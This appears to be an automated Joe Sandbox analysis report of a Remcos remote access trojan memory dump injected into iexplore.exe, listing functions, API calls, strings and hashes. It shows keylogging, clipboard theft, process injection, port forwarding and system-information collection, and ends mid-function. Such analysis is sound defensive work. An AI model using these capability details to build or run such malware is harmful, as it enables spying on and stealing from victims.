                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: LongNamePath
                                            • String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
                                            • API String ID: 82841172-425784914
                                            • Opcode ID: 05c2ad93f6cc2ee26ed5624d475cb04337695bae26b39c69aed6eb4faf56ef7b
                                            • Instruction ID: 0cc8b9c4d8a16f3fd89327f32322cd7e2fd47b59120d3573c9b2d8a81569e3eb
                                            • Opcode Fuzzy Hash: 05c2ad93f6cc2ee26ed5624d475cb04337695bae26b39c69aed6eb4faf56ef7b
                                            • Instruction Fuzzy Hash: FB414F715082019AC215FB61DC52DAEB3F8AE90718F10053FB546A60E2FFB8AE49C65F
                                            Function 0043A83A Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A892
                                            • GetLastError.KERNEL32(?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A89F
                                            • __dosmaperr.LIBCMT ref: 0043A8A6
                                            • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8D2
                                            • GetLastError.KERNEL32(?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8DC
                                            • __dosmaperr.LIBCMT ref: 0043A8E3
                                            • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,00401D55,?), ref: 0043A926
                                            • GetLastError.KERNEL32(?,?,?,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A930
                                            • __dosmaperr.LIBCMT ref: 0043A937
                                            • _free.LIBCMT ref: 0043A943
                                            • _free.LIBCMT ref: 0043A94A
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
                                            • String ID:
                                            • API String ID: 2441525078-0
                                            • Opcode ID: 333218d4c374834d2f5605b8d1434d3a456e4a6d1d3d381f1630f1823c8abcb3
                                            • Instruction ID: 785efe6d9c8e3fffb8b85045f967b8474775cb8629fdf0d32462ae01257f7f2e
                                            • Opcode Fuzzy Hash: 333218d4c374834d2f5605b8d1434d3a456e4a6d1d3d381f1630f1823c8abcb3
                                            • Instruction Fuzzy Hash: FF31F57140420AFFDF01AFA5CC45DAF3B68EF09325F10021AF950662A1DB38CD21DB6A
                                            Function 004054A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SetEvent.KERNEL32(?,?), ref: 004054BF
                                            • GetMessageA.USER32 ref: 0040556F
                                            • TranslateMessage.USER32(?), ref: 0040557E
                                            • DispatchMessageA.USER32 ref: 00405589
                                            • HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00474F78), ref: 00405641
                                            • HeapFree.KERNEL32(00000000,00000000,0000003B), ref: 00405679
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
                                            • String ID: CloseChat$DisplayMessage$GetMessage
                                            • API String ID: 2956720200-749203953
                                            • Opcode ID: 0cfa6036874a5bca0beebe56fa67ee0d4ba4c2ce27f22afbcff1deb0655a3de4
                                            • Instruction ID: c1940132788662b917c5ec79ff16bb55de46c7435784779dc5fc992d72e4b12f
                                            • Opcode Fuzzy Hash: 0cfa6036874a5bca0beebe56fa67ee0d4ba4c2ce27f22afbcff1deb0655a3de4
                                            • Instruction Fuzzy Hash: CE41A171604701ABCB14FB75DC5A86F37A9AB85704F40093EF916A36E1EF3C8905CB9A
                                            Function 00416940 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 46clipboardCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenClipboard.USER32 ref: 00416941
                                            • EmptyClipboard.USER32 ref: 0041694F
                                            • CloseClipboard.USER32 ref: 00416955
                                            • OpenClipboard.USER32 ref: 0041695C
                                            • GetClipboardData.USER32 ref: 0041696C
                                            • GlobalLock.KERNEL32 ref: 00416975
                                            • GlobalUnlock.KERNEL32(00000000), ref: 0041697E
                                            • CloseClipboard.USER32 ref: 00416984
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlocksend
                                            • String ID: !D@
                                            • API String ID: 2172192267-604454484
                                            • Opcode ID: 014ab2952fb1720400378532343d04f3ca6c69c69b6d94fb269798378f0b3219
                                            • Instruction ID: 305b70c8a6b081cbeb1fc088e42579eafb4add048c4ccd3ac1cf7446a02d8759
                                            • Opcode Fuzzy Hash: 014ab2952fb1720400378532343d04f3ca6c69c69b6d94fb269798378f0b3219
                                            • Instruction Fuzzy Hash: CC015E31214301DFC714BB72DC09AAE77A5AF88742F40047EF906821E2DF38CC44CA69
                                            Function 004132D2 Relevance: 15.2, APIs: 10, Instructions: 153fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateFileMappingW.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00413417
                                            • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00413425
                                            • GetFileSize.KERNEL32(?,00000000), ref: 00413432
                                            • UnmapViewOfFile.KERNEL32(00000000), ref: 00413452
                                            • CloseHandle.KERNEL32(00000000), ref: 0041345F
                                            • CloseHandle.KERNEL32(?), ref: 00413465
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$CloseHandleView$CreateMappingSizeUnmap
                                            • String ID:
                                            • API String ID: 297527592-0
                                            • Opcode ID: 52b6b7bb2cc7c70124f03fd4dd600c064b869f903e3e72a7e1b27baf9a98f7f1
                                            • Instruction ID: 9e0538afe5582c7c3c7070a3da709670e2bb39b60280b40541f30be5467d1837
                                            • Opcode Fuzzy Hash: 52b6b7bb2cc7c70124f03fd4dd600c064b869f903e3e72a7e1b27baf9a98f7f1
                                            • Instruction Fuzzy Hash: ED41E631108305BBD7109F25DC4AF6B3BACEF89726F10092AFA14D51A2DF38DA40C66E
                                            Function 00448121 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                            Download Yara Rule
                                            APIs
                                            • _free.LIBCMT ref: 00448135
                                              • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                              • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                            • _free.LIBCMT ref: 00448141
                                            • _free.LIBCMT ref: 0044814C
                                            • _free.LIBCMT ref: 00448157
                                            • _free.LIBCMT ref: 00448162
                                            • _free.LIBCMT ref: 0044816D
                                            • _free.LIBCMT ref: 00448178
                                            • _free.LIBCMT ref: 00448183
                                            • _free.LIBCMT ref: 0044818E
                                            • _free.LIBCMT ref: 0044819C
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$ErrorFreeHeapLast
                                            • String ID:
                                            • API String ID: 776569668-0
                                            • Opcode ID: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
                                            • Instruction ID: 63500befab30bf138fa449b3e81d3956d19e40097f86fc95f12732a98ce5ff4f
                                            • Opcode Fuzzy Hash: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
                                            • Instruction Fuzzy Hash: C211B67A500508BFEB01EF96C842CDD3BA5FF05359B0240AAFA588F222DA35DF509BC5
                                            Function 004114F5 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 191COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Eventinet_ntoa
                                            • String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse$NG
                                            • API String ID: 3578746661-3604713145
                                            • Opcode ID: 4f065297b3db04d08fab799040971db11ee763eabe84935d17a6cb70e7b06ee3
                                            • Instruction ID: 71dfdc03858149a45142756d2b421c0b7bbb6d70992310a40494c7f1f0681c69
                                            • Opcode Fuzzy Hash: 4f065297b3db04d08fab799040971db11ee763eabe84935d17a6cb70e7b06ee3
                                            • Instruction Fuzzy Hash: 0051C131A042015BC614FB36C91AAAE37A5AB85344F40453FF906A76F1EF7C8985C7DE
                                            Function 0044B3BC Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 152fileCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetConsoleCP.KERNEL32 ref: 0044B3FE
                                            • __fassign.LIBCMT ref: 0044B479
                                            • __fassign.LIBCMT ref: 0044B494
                                            • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 0044B4BA
                                            • WriteFile.KERNEL32(?,FF8BC35D,00000000,0044BB31,00000000), ref: 0044B4D9
                                            • WriteFile.KERNEL32(?,?,00000001,0044BB31,00000000), ref: 0044B512
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                            • String ID: PkGNG
                                            • API String ID: 1324828854-263838557
                                            • Opcode ID: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
                                            • Instruction ID: 24f44d390d373c30b0d8a34eda065edd0bccebe0da4884afe324d1cece3cc5ea
                                            • Opcode Fuzzy Hash: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
                                            • Instruction Fuzzy Hash: 0751D270900208AFDB10CFA8D885AEEFBF4EF09305F14856BE955E7292D734D941CBA9
                                            Function 00417495 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 104sleepfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 004174F5
                                              • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                                            • Sleep.KERNEL32(00000064), ref: 00417521
                                            • DeleteFileW.KERNEL32(00000000), ref: 00417555
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$CreateDeleteExecuteShellSleep
                                            • String ID: /t $\sysinfo.txt$dxdiag$open$temp
                                            • API String ID: 1462127192-2001430897
                                            • Opcode ID: 1f6a825730162cc8d70e4a327bcc3a42f02bec4a5cc2bca23683888e0af1c848
                                            • Instruction ID: 51d64fe7c8a5c54eac4555a52c350958ac4104e8f54c8767ba2a87230734c78e
                                            • Opcode Fuzzy Hash: 1f6a825730162cc8d70e4a327bcc3a42f02bec4a5cc2bca23683888e0af1c848
                                            • Instruction Fuzzy Hash: 1431307194011A9ADB04FB62DC96DED7779AF50309F40017EF606730E2EF785A8ACA9C
                                            Function 004073AC Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 99COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetCurrentProcess.KERNEL32(00472B14,00000000,004752D8,00003000,00000004,00000000,00000001), ref: 004073DD
                                            • GetCurrentProcess.KERNEL32(00472B14,00000000,00008000,?,00000000,00000001,00000000,00407656,C:\Program Files (x86)\Internet Explorer\iexplore.exe), ref: 0040749E
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CurrentProcess
                                            • String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$windir
                                            • API String ID: 2050909247-4242073005
                                            • Opcode ID: 539e8bced36223118afef646be0064b2910b8cfba0236f50484b60453eb32d25
                                            • Instruction ID: f630994b7aed3d2c1b9b8fa2b3e4f68b22e8b08ead4833dea6669ff7d567ef23
                                            • Opcode Fuzzy Hash: 539e8bced36223118afef646be0064b2910b8cfba0236f50484b60453eb32d25
                                            • Instruction Fuzzy Hash: 7031A471A04700ABD321FF65ED46F167BB8AB44305F10087EF515A6292E7B8B8448B6F
                                            Function 0041D45D Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 48windowstringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041D476
                                              • Part of subcall function 0041D50F: RegisterClassExA.USER32 ref: 0041D55B
                                              • Part of subcall function 0041D50F: CreateWindowExA.USER32 ref: 0041D576
                                              • Part of subcall function 0041D50F: GetLastError.KERNEL32 ref: 0041D580
                                            • ExtractIconA.SHELL32(00000000,?,00000000), ref: 0041D4AD
                                            • lstrcpynA.KERNEL32(00474B60,Remcos,00000080), ref: 0041D4C7
                                            • Shell_NotifyIconA.SHELL32(00000000,00474B48), ref: 0041D4DD
                                            • TranslateMessage.USER32(?), ref: 0041D4E9
                                            • DispatchMessageA.USER32 ref: 0041D4F3
                                            • GetMessageA.USER32 ref: 0041D500
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
                                            • String ID: Remcos
                                            • API String ID: 1970332568-165870891
                                            • Opcode ID: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                                            • Instruction ID: 4ccd8a34d55b2cf311069b5b9598b364b65d9d4e2968dcdf9eb94a5ca0393a4d
                                            • Opcode Fuzzy Hash: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                                            • Instruction Fuzzy Hash: AC015271800245EBD7109FA5EC4CFEABB7CEB85705F004026F515930A1D778E885CB98
                                            Function 00445179 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                              • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                              • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                              • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                            • _memcmp.LIBVCRUNTIME ref: 00445423
                                            • _free.LIBCMT ref: 00445494
                                            • _free.LIBCMT ref: 004454AD
                                            • _free.LIBCMT ref: 004454DF
                                            • _free.LIBCMT ref: 004454E8
                                            • _free.LIBCMT ref: 004454F4
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$ErrorLast$_abort_memcmp
                                            • String ID: C
                                            • API String ID: 1679612858-1037565863
                                            • Opcode ID: 3b59ec677d4d175c50db296303e2411e5fb3dbfaa0361dba4d40d6cf04aba7d4
                                            • Instruction ID: 551747f29a431029642ca2aca46be5bbca0cbe6c77a4b2ed9ddfbf6361621c56
                                            • Opcode Fuzzy Hash: 3b59ec677d4d175c50db296303e2411e5fb3dbfaa0361dba4d40d6cf04aba7d4
                                            • Instruction Fuzzy Hash: B2B13975A016199BEB24DF18C884BAEB7B4FF08308F5045EEE949A7351E774AE90CF44
                                            Function 0041490A Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID: tcp$udp
                                            • API String ID: 0-3725065008
                                            • Opcode ID: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
                                            • Instruction ID: c6aeaafd44a905d145cb4251883953767b251f71b123717361be5a5837da4da2
                                            • Opcode Fuzzy Hash: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
                                            • Instruction Fuzzy Hash: 637177B06083028FDB24CF65C480BABB7E4AFD4395F15442FF88986351E778DD858B9A
                                            Function 0040186A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 142threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • __Init_thread_footer.LIBCMT ref: 004018BE
                                            • ExitThread.KERNEL32 ref: 004018F6
                                            • waveInUnprepareHeader.WINMM(?,00000020,00000000), ref: 00401A04
                                              • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExitHeaderInit_thread_footerThreadUnprepare__onexitwave
                                            • String ID: PkG$XMG$NG$NG
                                            • API String ID: 1649129571-3151166067
                                            • Opcode ID: f03e1696385eff321045f3fd04ccd2f00e10c82d765726f3dffbcfbdf912789a
                                            • Instruction ID: 5b8630810f78da979eb204bf693be1d55f2004797ab3201abec5cd50ea38d472
                                            • Opcode Fuzzy Hash: f03e1696385eff321045f3fd04ccd2f00e10c82d765726f3dffbcfbdf912789a
                                            • Instruction Fuzzy Hash: BF41B4312042109BC324FB26DD96ABE73A6AB85314F00453FF54AA61F2DF386D49C75E
                                            Function 00407963 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000), ref: 004079C5
                                            • WriteFile.KERNEL32(00000000,?,00000000,000186A0,00000000), ref: 00407A0D
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            • CloseHandle.KERNEL32(00000000), ref: 00407A4D
                                            • MoveFileW.KERNEL32 ref: 00407A6A
                                            • CloseHandle.KERNEL32(00000000), ref: 00407A95
                                            • DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0000000A,00000000), ref: 00407AA5
                                              • Part of subcall function 00404B96: WaitForSingleObject.KERNEL32(?,000000FF,?,00474EF8,00404C49,00000000,?,?,?,00474EF8,?), ref: 00404BA5
                                              • Part of subcall function 00404B96: SetEvent.KERNEL32(?), ref: 00404BC3
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
                                            • String ID: .part
                                            • API String ID: 1303771098-3499674018
                                            • Opcode ID: 3af979d2a86f55abb037a5ea190009b8bddef8696a723389280064d929b35107
                                            • Instruction ID: 3872d967715c28256f57216ae0d43a20e9ded80e7ed52efebe816600842ab993
                                            • Opcode Fuzzy Hash: 3af979d2a86f55abb037a5ea190009b8bddef8696a723389280064d929b35107
                                            • Instruction Fuzzy Hash: 7F318371508341AFC210EB21DC4599FB7A8FF94359F00493EB545A2192EB78EE48CB9A
                                            Function 0040A2B8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0040A2D3
                                            • SetWindowsHookExA.USER32(0000000D,0040A2A4,00000000), ref: 0040A2E1
                                            • GetLastError.KERNEL32 ref: 0040A2ED
                                              • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                            • GetMessageA.USER32 ref: 0040A33B
                                            • TranslateMessage.USER32(?), ref: 0040A34A
                                            • DispatchMessageA.USER32 ref: 0040A355
                                            Strings
                                            • Keylogger initialization failure: error , xrefs: 0040A301
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
                                            • String ID: Keylogger initialization failure: error
                                            • API String ID: 3219506041-952744263
                                            • Opcode ID: 4f13040d40fce51975cfbbc3673976c4dad95410904dfe41d9466c849e225161
                                            • Instruction ID: 26c2bdf112627336efb266b6f5317542b4ef4d62b82d8858756ad59ca9dca42a
                                            • Opcode Fuzzy Hash: 4f13040d40fce51975cfbbc3673976c4dad95410904dfe41d9466c849e225161
                                            • Instruction Fuzzy Hash: FA11BF32604301ABCB107F76DC0A86B77ECEA95716B10457EFC85E21D1EA38C910CBAA
                                            Function 0040A3E0 Relevance: 12.1, APIs: 8, Instructions: 112keyboardthreadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Unicode$KeyboardStateWindow$ForegroundLayoutProcessThread
                                            • String ID:
                                            • API String ID: 1888522110-0
                                            • Opcode ID: 4ba0a60493bf1cb7a04a280161e9af6e0206db9f66fbe83c406a8642f04fa518
                                            • Instruction ID: 5ff565fa5b8df07833abad56ec5ecbabe923af01fc99f1944a330f9e709d98a3
                                            • Opcode Fuzzy Hash: 4ba0a60493bf1cb7a04a280161e9af6e0206db9f66fbe83c406a8642f04fa518
                                            • Instruction Fuzzy Hash: AE316D72504308FFD710DF94DC45F9BB7ECAB88705F01083AB645D61A0E7B5E9488BA6
                                            Function 00419993 Relevance: 12.1, APIs: 8, Instructions: 102keyboardCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SendInput.USER32(00000001,?,0000001C), ref: 004199CC
                                            • SendInput.USER32(00000001,?,0000001C), ref: 004199ED
                                            • SendInput.USER32(00000001,?,0000001C), ref: 00419A0D
                                            • SendInput.USER32(00000001,?,0000001C), ref: 00419A21
                                            • SendInput.USER32(00000001,?,0000001C), ref: 00419A37
                                            • SendInput.USER32(00000001,?,0000001C), ref: 00419A54
                                            • SendInput.USER32(00000001,?,0000001C), ref: 00419A6F
                                            • SendInput.USER32(00000001,?,0000001C), ref: 00419A8B
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: InputSend
                                            • String ID:
                                            • API String ID: 3431551938-0
                                            • Opcode ID: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                                            • Instruction ID: babcb3f23bbfeda7ed9031f98f3524dfd9ae94bb4b0c65128b251ed995bccade
                                            • Opcode Fuzzy Hash: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                                            • Instruction Fuzzy Hash: CE31B471558349AEE310CF51DC41BEBBBDCEF98B54F00080FF6808A181D2A6A9C88B97
                                            Function 00447571 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 389COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: __freea$__alloca_probe_16_free
                                            • String ID: a/p$am/pm$zD
                                            • API String ID: 2936374016-2723203690
                                            • Opcode ID: ad0e661e8ca139f4988ec10911a06b569de76af7a8f23a444d27c6a0fba4a5cb
                                            • Instruction ID: 9fbfa546a4d6e8c17a1525f8bb1fcc11d6b56032d3bbc67104e2604220ae0e85
                                            • Opcode Fuzzy Hash: ad0e661e8ca139f4988ec10911a06b569de76af7a8f23a444d27c6a0fba4a5cb
                                            • Instruction Fuzzy Hash: 6AD1D1B1918206CAFB249F68C845ABBB7B1FF05310F28415BE545AB351D33D9D43CBA9
                                            Function 00449190 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • _free.LIBCMT ref: 00449212
                                            • _free.LIBCMT ref: 00449236
                                            • _free.LIBCMT ref: 004493BD
                                            • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
                                            • _free.LIBCMT ref: 00449589
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$ByteCharMultiWide$InformationTimeZone
                                            • String ID:
                                            • API String ID: 314583886-0
                                            • Opcode ID: e51e2b160430e069a94018d2a40d83d225257a5f61c10d126208887eb2308fed
                                            • Instruction ID: 779aab753f07af14b01adf3fce5c8211df4e7f9331a35af1166ddbde82723190
                                            • Opcode Fuzzy Hash: e51e2b160430e069a94018d2a40d83d225257a5f61c10d126208887eb2308fed
                                            • Instruction Fuzzy Hash: CAC15771900205ABFB24DF69CC41AAFBBA8EF46314F1405AFE89497381E7788E42D758
                                            Function 00413A55 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 179registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
                                            • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00413AEB
